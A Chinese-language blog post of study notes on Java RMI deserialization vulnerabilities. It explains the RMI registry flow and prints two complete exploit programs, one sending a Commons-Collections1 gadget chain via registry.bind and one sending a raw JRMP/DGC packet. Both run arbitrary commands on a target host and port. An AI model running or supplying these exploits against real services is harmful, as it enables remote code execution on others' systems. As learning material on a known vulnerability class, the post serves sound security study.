rmi_jndi

简介

RMI(Remote Method Invocation)Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。

img

(来自[RMI · 攻击Java Web应用-Java Web安全] (javasec.org))

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

造成漏洞的真正原因:

当 RMI Registry 接收到客户端的 bind, rebindlookup 等请求时,它会自动反序列化客户端发送过来的对象数据。如果服务器端的 classpath 中恰好存在一个含有漏洞的第三方库(例如本例中的 commons-collections),那么攻击者就可以构造一个恶意的序列化对象,在服务器反序列化它时触发漏洞,执行任意代码。

也就是说当bind,或者吧rebind,lookup 的时候都会出现

  • RMI Registry 是一栋大楼前台的访客登记簿
  • RMI Server 是一家公司,它派了一名员工(创建的Remote对象)来这栋大楼提供服务。这名员工需要到前台,在登记簿上写下:“我是‘计算服务’公司的,找我请拨分机号 XXX”。这个“登记”的动作就是 bind()
  • RMI Client 是一个访客,他想找“计算服务”。他来到前台,翻开登记簿(lookup("计算服务")),找到了分机号 XXX,然后直接联系这位员工。

漏洞就出在这个“登记簿”上:

这个登记簿(RMI Registry)默认是完全开放的,它不会验证前来登记的人(调用 bind/rebind 的程序)的身份。任何能够通过网络连接到前台的人,都可以在登记簿上写下任何内容。

谁都可以注册

rmi 流程

但是这个地方rmi 连接出现了很大的问题,导致一直连接不上。

但吃尝试了exp 又可以实现攻击…..

image-20250608160544295

下面是部分代码

RMIServerTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.rmiLearn;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;


public class RMIServerTest {

// RMI服务器IP地址
public static final String RMI_HOST = "127.0.0.1";

// RMI服务端口
public static final int RMI_PORT = 19527;

// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

public static void main(String[] args) {
try {
// 注册RMI端口
LocateRegistry.createRegistry(RMI_PORT);

// 绑定Remote对象
Naming.rebind(RMI_NAME, new RMITestImpl());

System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}

}

RMIClientTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.rmiLearn;


import java.rmi.Naming;

import static org.rmiLearn.RMIServerTest.RMI_NAME;


public class RMIClientTest {

public static void main(String[] args) {
try {
// 查找远程RMI服务
RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);

// 调用远程接口RMITestInterface类的test方法
String result = rt.test();

// 输出RMI方法调用结果
System.out.println(result);

} catch (Exception e) {
e.printStackTrace();
}
}
}

RMITestImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.rmiLearn;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {

private static final long serialVersionUID = 1L;

protected RMITestImpl() throws RemoteException {
super();
}

/**
* RMI测试方法
*
* @return 返回测试字符串
*/
@Override
public String test() throws RemoteException {
return "Hello RMI~";
}

}

RMITestInterface.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.rmiLearn;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMITestInterface extends Remote {

/**
* RMI测试方法
*
* @return 返回测试字符串
*/
String test() throws RemoteException;

}

rmi 反序列化

RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

RMI客户端反序列化攻击示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
package org.rmiLearn;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;



import static org.rmiLearn.RMIServerTest.RMI_HOST;
import static org.rmiLearn.RMIServerTest.RMI_PORT;

/**
* RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
*
* @author yz
*/
public class RMIExploit {

// 定义AnnotationInvocationHandler类常量
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

/**
* 信任SSL证书
*/
private static class TrustAllSSL implements X509TrustManager {

private static final X509Certificate[] ANY_CA = {};

public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}

public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

}

/**
* 创建支持SSL的RMI客户端
*/
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {

public Socket createSocket(String host, int port) throws IOException {
try {
// 获取SSLContext对象
SSLContext ctx = SSLContext.getInstance("TLS");

// 默认信任服务器端SSL
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);

// 获取SSL Socket连接工厂
SSLSocketFactory factory = ctx.getSocketFactory();

// 创建SSL连接
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}

/**
* 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
*
* @param command 定义需要执行的CMD
* @return Payload
* @throws Exception 生成Payload异常
*/
private static InvocationHandler genPayload(String command) throws Exception {
// 创建Runtime.getRuntime.exec(cmd)调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};

// 创建ChainedTransformer调用链对象
Transformer transformerChain = new ChainedTransformer(transformers);

// 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

// 使用动态代理创建出Map类型的Payload
final Map mapProxy2 = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
}

/**
* 执行Payload
*
* @param registry RMI Registry
* @param command 需要执行的命令
* @throws Exception Payload执行异常
*/
public static void exploit(final Registry registry, final String command) throws Exception {
// 生成Payload动态代理对象
Object payload = genPayload(command);
String name = "test" + System.nanoTime();

// 创建一个含有Payload的恶意map
Map<String, Object> map = new HashMap();
map.put(name, payload);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);

// 使用动态代理创建出Remote类型的Payload
Remote remote = (Remote) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
);

try {
// 发送Payload
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}

public static void main(String[] args) throws Exception {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}

// 远程RMI服务IP
final String host = args[0];

// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);

// 需要执行的系统命令
final String command = args[2];

// 获取远程Registry对象的引用
Registry registry = LocateRegistry.getRegistry(host, port);

try {
// 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
String[] regs = registry.list();

for (String reg : regs) {
System.out.println("RMI:" + reg);
}
} catch (ConnectIOException ex) {
// 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}

// 执行payload
exploit(registry, command);
}

}

最根本的问题还是利用了cc1 中的AnnotationInvocationHandler 类

Apache_Commons_Collections1分析 - AU9U5T

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:

  1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
  2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
  3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
  4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE

问题

  1. 为什么在exp 中没有实现remote 还可以bind?

    因为通过了动态代理的方式实现了remote

    1
    2
    3
    4
    // 使用动态代理创建出Remote类型的Payload
    Remote remote = (Remote) Proxy.newProxyInstance(
    ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
    );

    Java 的 Proxy.newProxyInstance() 方法是一个强大的工具,它允许你在程序运行时创建一个“代理”对象,这个代理对象可以实现任何你指定的接口组合。

RMI-JRMP 反序列化漏洞

JRMP接口的两种常见实现方式:

  1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议
  2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package org.rmiLearn;

import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;

import static org.rmiLearn.RMIServerTest.RMI_HOST;
import static org.rmiLearn.RMIServerTest.RMI_PORT;


public class JRMPExploit {

public static void main(String[] args) throws IOException {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}

// 远程RMI服务IP
final String host = args[0];

// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);

// 需要执行的系统命令
final String command = args[2];

// Socket连接对象
Socket socket = null;

// Socket输出流
OutputStream out = null;

try {
// 创建恶意的Payload对象
Object payloadObject = RMIExploit.genPayload(command);

// 建立和远程RMI服务的Socket连接
socket = new Socket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);

// 获取Socket的输出流对象
out = socket.getOutputStream();

// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);

// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);

// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(-669196253586618813L);// 接口Hash值

// 写入恶意的序列化对象
baos.writeObject(payloadObject);

dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}

// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}

}

rmi_jndi
https://tsy244.github.io/2025/06/07/java安全/rmi-jndi/
Author
August Rosenberg
Posted on
June 7, 2025
Licensed under